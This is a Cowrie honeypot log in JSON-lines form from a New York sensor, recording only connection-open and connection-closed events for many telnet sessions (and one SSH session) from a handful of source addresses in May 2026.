{"eventid":"cowrie.session.closed","duration":36.19421577453613,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:09.644716Z","src_ip":"162.55.233.176","session":"db7e6f0cb095","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f7656c9058","protocol":"telnet","message":"New connection: 162.55.233.176:48102 (159.203.135.109:23) [session: e5f7656c9058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:09.899926Z"}
{"eventid":"cowrie.session.closed","duration":31.801401615142822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:09.936257Z","src_ip":"162.55.233.176","session":"ef9397b8530f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48104,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c17ee80acf","protocol":"telnet","message":"New connection: 162.55.233.176:48104 (159.203.135.109:23) [session: 08c17ee80acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:10.506048Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36140,"dst_ip":"10.17.0.5","dst_port":22,"session":"5647aaf34a9a","protocol":"ssh","message":"New connection: 2.57.122.238:36140 (10.17.0.5:22) [session: 5647aaf34a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:10.643257Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:10.744875Z","src_ip":"2.57.122.238","session":"5647aaf34a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16439986228943,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:10.769465Z","src_ip":"162.55.233.176","session":"7e9c1bc8ab32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48108,"dst_ip":"159.203.135.109","dst_port":23,"session":"db083a31cab8","protocol":"telnet","message":"New connection: 162.55.233.176:48108 (159.203.135.109:23) [session: db083a31cab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:10.777174Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48122,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fcea43f0691","protocol":"telnet","message":"New connection: 162.55.233.176:48122 (159.203.135.109:23) [session: 4fcea43f0691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:11.112931Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48124,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d8ca10ae13c","protocol":"telnet","message":"New connection: 162.55.233.176:48124 (159.203.135.109:23) [session: 1d8ca10ae13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:11.148334Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f644a0c3b958","protocol":"telnet","message":"New connection: 162.55.233.176:48134 (159.203.135.109:23) [session: f644a0c3b958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:12.254963Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48138,"dst_ip":"159.203.135.109","dst_port":23,"session":"e395b5bc232f","protocol":"telnet","message":"New connection: 162.55.233.176:48138 (159.203.135.109:23) [session: e395b5bc232f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:12.418017Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48144,"dst_ip":"159.203.135.109","dst_port":23,"session":"6348a3ed23fe","protocol":"telnet","message":"New connection: 162.55.233.176:48144 (159.203.135.109:23) [session: 6348a3ed23fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:12.555798Z"}
{"eventid":"cowrie.session.closed","duration":46.84003567695618,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:12.790782Z","src_ip":"206.189.32.23","session":"ba9ade479c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48150,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c579d0e191","protocol":"telnet","message":"New connection: 162.55.233.176:48150 (159.203.135.109:23) [session: 23c579d0e191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:12.826771Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":48160,"dst_ip":"159.203.135.109","dst_port":23,"session":"19de56132a8a","protocol":"telnet","message":"New connection: 162.55.233.176:48160 (159.203.135.109:23) [session: 19de56132a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:12.905235Z"}
{"eventid":"cowrie.session.closed","duration":34.540109395980835,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:13.095857Z","src_ip":"162.55.233.176","session":"2c6ad79eabc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.366806983947754,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:13.236135Z","src_ip":"188.208.141.113","session":"3c468fb992d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36782,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e6585acde1","protocol":"telnet","message":"New connection: 162.55.233.176:36782 (159.203.135.109:23) [session: f8e6585acde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:13.244599Z"}
{"eventid":"cowrie.session.closed","duration":35.849454402923584,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:13.257922Z","src_ip":"162.55.233.176","session":"0f2491411cea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36786,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf0120a0f67","protocol":"telnet","message":"New connection: 162.55.233.176:36786 (159.203.135.109:23) [session: 0bf0120a0f67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:13.345411Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36800,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b318ded5ef6","protocol":"telnet","message":"New connection: 162.55.233.176:36800 (159.203.135.109:23) [session: 7b318ded5ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:13.537592Z"}
{"eventid":"cowrie.session.closed","duration":33.067336082458496,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:14.601370Z","src_ip":"162.55.233.176","session":"ad5443d21aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36804,"dst_ip":"159.203.135.109","dst_port":23,"session":"559f3e3736d6","protocol":"telnet","message":"New connection: 162.55.233.176:36804 (159.203.135.109:23) [session: 559f3e3736d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:14.606723Z"}
{"eventid":"cowrie.session.closed","duration":34.47595715522766,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:14.634078Z","src_ip":"162.55.233.176","session":"553e55d270fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61853504180908,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:14.722051Z","src_ip":"162.55.233.176","session":"eeab8a12929c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37800,"dst_ip":"10.17.0.5","dst_port":23,"session":"7afcb57f8ddb","protocol":"telnet","message":"New connection: 188.208.141.113:37800 (10.17.0.5:23) [session: 7afcb57f8ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:14.810674Z"}
{"eventid":"cowrie.session.closed","duration":39.825984716415405,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:15.254910Z","src_ip":"162.55.233.176","session":"3207b6ac88a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36810,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa3651e37f5","protocol":"telnet","message":"New connection: 162.55.233.176:36810 (159.203.135.109:23) [session: 4fa3651e37f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:15.418042Z"}
{"eventid":"cowrie.session.closed","duration":0.4093914031982422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:15.827244Z","src_ip":"162.55.233.176","session":"4fa3651e37f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53272,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf2f0fb77716","protocol":"telnet","message":"New connection: 206.189.32.23:53272 (10.17.0.5:23) [session: bf2f0fb77716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:15.865778Z"}
{"eventid":"cowrie.session.closed","duration":35.443588733673096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:15.941372Z","src_ip":"162.55.233.176","session":"e875f5955db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.19684147834778,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:16.009810Z","src_ip":"162.55.233.176","session":"1ce7329cbadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68299698829651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:16.449459Z","src_ip":"162.55.233.176","session":"b761202bcba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.31963896751404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:16.817544Z","src_ip":"162.55.233.176","session":"ede2479ce2cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.17383694648743,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:16.965555Z","src_ip":"162.55.233.176","session":"71b7b40e21a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.579963207244873,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:17.445641Z","src_ip":"206.189.32.23","session":"bf2f0fb77716","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.44502091407776,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:17.744735Z","src_ip":"162.55.233.176","session":"d9b4d40ec045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214160680770874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:17.751365Z","src_ip":"162.55.233.176","session":"7800a7159a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09644317626953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:17.952598Z","src_ip":"162.55.233.176","session":"56bef4e0985d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36826,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fd87c00dce7","protocol":"telnet","message":"New connection: 162.55.233.176:36826 (159.203.135.109:23) [session: 3fd87c00dce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:18.095020Z"}
{"eventid":"cowrie.session.closed","duration":36.28380250930786,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:18.854485Z","src_ip":"162.55.233.176","session":"f9117a2c63fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22268533706665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.046372Z","src_ip":"162.55.233.176","session":"0cc08d1d9579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43605589866638,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.109887Z","src_ip":"162.55.233.176","session":"d71c4f9f4cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946845293045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.211527Z","src_ip":"162.55.233.176","session":"352652735542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36828,"dst_ip":"159.203.135.109","dst_port":23,"session":"0625cf5fc981","protocol":"telnet","message":"New connection: 162.55.233.176:36828 (159.203.135.109:23) [session: 0625cf5fc981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.381952Z"}
{"eventid":"cowrie.session.closed","duration":35.39615488052368,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.652250Z","src_ip":"162.55.233.176","session":"aa3e4ec53ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36846,"dst_ip":"159.203.135.109","dst_port":23,"session":"a898015f3177","protocol":"telnet","message":"New connection: 162.55.233.176:36846 (159.203.135.109:23) [session: a898015f3177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.887250Z"}
{"eventid":"cowrie.session.closed","duration":35.83524298667908,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:19.954268Z","src_ip":"162.55.233.176","session":"12426488f514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36848,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c243140caa0","protocol":"telnet","message":"New connection: 162.55.233.176:36848 (159.203.135.109:23) [session: 0c243140caa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.182823Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36862,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6ae8ebdebe","protocol":"telnet","message":"New connection: 162.55.233.176:36862 (159.203.135.109:23) [session: ca6ae8ebdebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.442889Z"}
{"eventid":"cowrie.session.closed","duration":30.596115112304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.477584Z","src_ip":"162.55.233.176","session":"7cfaa18590a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36866,"dst_ip":"159.203.135.109","dst_port":23,"session":"df49a695746d","protocol":"telnet","message":"New connection: 162.55.233.176:36866 (159.203.135.109:23) [session: df49a695746d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.521434Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36876,"dst_ip":"159.203.135.109","dst_port":23,"session":"d049eb649533","protocol":"telnet","message":"New connection: 162.55.233.176:36876 (159.203.135.109:23) [session: d049eb649533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.546247Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38572,"dst_ip":"10.17.0.5","dst_port":23,"session":"77d1d8e143b1","protocol":"telnet","message":"New connection: 206.189.32.23:38572 (10.17.0.5:23) [session: 77d1d8e143b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.588800Z"}
{"eventid":"cowrie.session.closed","duration":32.94559144973755,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:20.778831Z","src_ip":"162.55.233.176","session":"dc949f5f99fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36890,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d5caeb7b01d","protocol":"telnet","message":"New connection: 162.55.233.176:36890 (159.203.135.109:23) [session: 5d5caeb7b01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.118677Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c7ce44c0c20","protocol":"telnet","message":"New connection: 162.55.233.176:36900 (159.203.135.109:23) [session: 4c7ce44c0c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.122785Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36916,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc5b620bed73","protocol":"telnet","message":"New connection: 162.55.233.176:36916 (159.203.135.109:23) [session: cc5b620bed73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.254317Z"}
{"eventid":"cowrie.session.closed","duration":35.433483362197876,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.375104Z","src_ip":"162.55.233.176","session":"fbd7da24d85c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36928,"dst_ip":"159.203.135.109","dst_port":23,"session":"394ffeeea5ee","protocol":"telnet","message":"New connection: 162.55.233.176:36928 (159.203.135.109:23) [session: 394ffeeea5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.526964Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36936,"dst_ip":"159.203.135.109","dst_port":23,"session":"44aacb704ebe","protocol":"telnet","message":"New connection: 162.55.233.176:36936 (159.203.135.109:23) [session: 44aacb704ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.736372Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36944,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a31fa0d803","protocol":"telnet","message":"New connection: 162.55.233.176:36944 (159.203.135.109:23) [session: 30a31fa0d803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.812100Z"}
{"eventid":"cowrie.session.closed","duration":31.297896146774292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.829782Z","src_ip":"162.55.233.176","session":"2b422ff6e50b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59860134124756,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.834700Z","src_ip":"162.55.233.176","session":"9293bdae00fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88311719894409,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:21.921586Z","src_ip":"162.55.233.176","session":"fd38cf3fa404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36954,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a908fcdf151","protocol":"telnet","message":"New connection: 162.55.233.176:36954 (159.203.135.109:23) [session: 4a908fcdf151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:22.639710Z"}
{"eventid":"cowrie.session.closed","duration":34.80517506599426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.015532Z","src_ip":"162.55.233.176","session":"cc510987e91c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11046290397644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.071618Z","src_ip":"162.55.233.176","session":"b1128eb25351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.46161699295044,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.321676Z","src_ip":"188.208.141.113","session":"14e2aa21342a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044454097747803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.627007Z","src_ip":"162.55.233.176","session":"f5598c510219","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.303272008895874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.686501Z","src_ip":"162.55.233.176","session":"aff527fa0306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947983026504517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.750438Z","src_ip":"162.55.233.176","session":"7078c61c6f54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.088236808776855,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.757200Z","src_ip":"162.55.233.176","session":"5dec0e48676d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56626,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c0247ca1f5","protocol":"telnet","message":"New connection: 162.55.233.176:56626 (159.203.135.109:23) [session: a3c0247ca1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.925223Z"}
{"eventid":"cowrie.session.closed","duration":31.583750009536743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:23.992035Z","src_ip":"162.55.233.176","session":"e1f59860acab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50273084640503,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:24.007116Z","src_ip":"162.55.233.176","session":"74c8edfadf01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56636,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3b5c2d2cc1f","protocol":"telnet","message":"New connection: 162.55.233.176:56636 (159.203.135.109:23) [session: c3b5c2d2cc1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:24.354572Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56646,"dst_ip":"159.203.135.109","dst_port":23,"session":"57a196f7a3cc","protocol":"telnet","message":"New connection: 162.55.233.176:56646 (159.203.135.109:23) [session: 57a196f7a3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:24.379212Z"}
{"eventid":"cowrie.session.closed","duration":34.35834097862244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:24.969774Z","src_ip":"162.55.233.176","session":"8a3aac484196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.439417362213135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:25.389690Z","src_ip":"162.55.233.176","session":"d8325107e3a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04998230934143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:25.753612Z","src_ip":"162.55.233.176","session":"c3e7484629b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47630548477173,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:26.016670Z","src_ip":"162.55.233.176","session":"ac3ca7ba9a28","protocol":"telnet"}
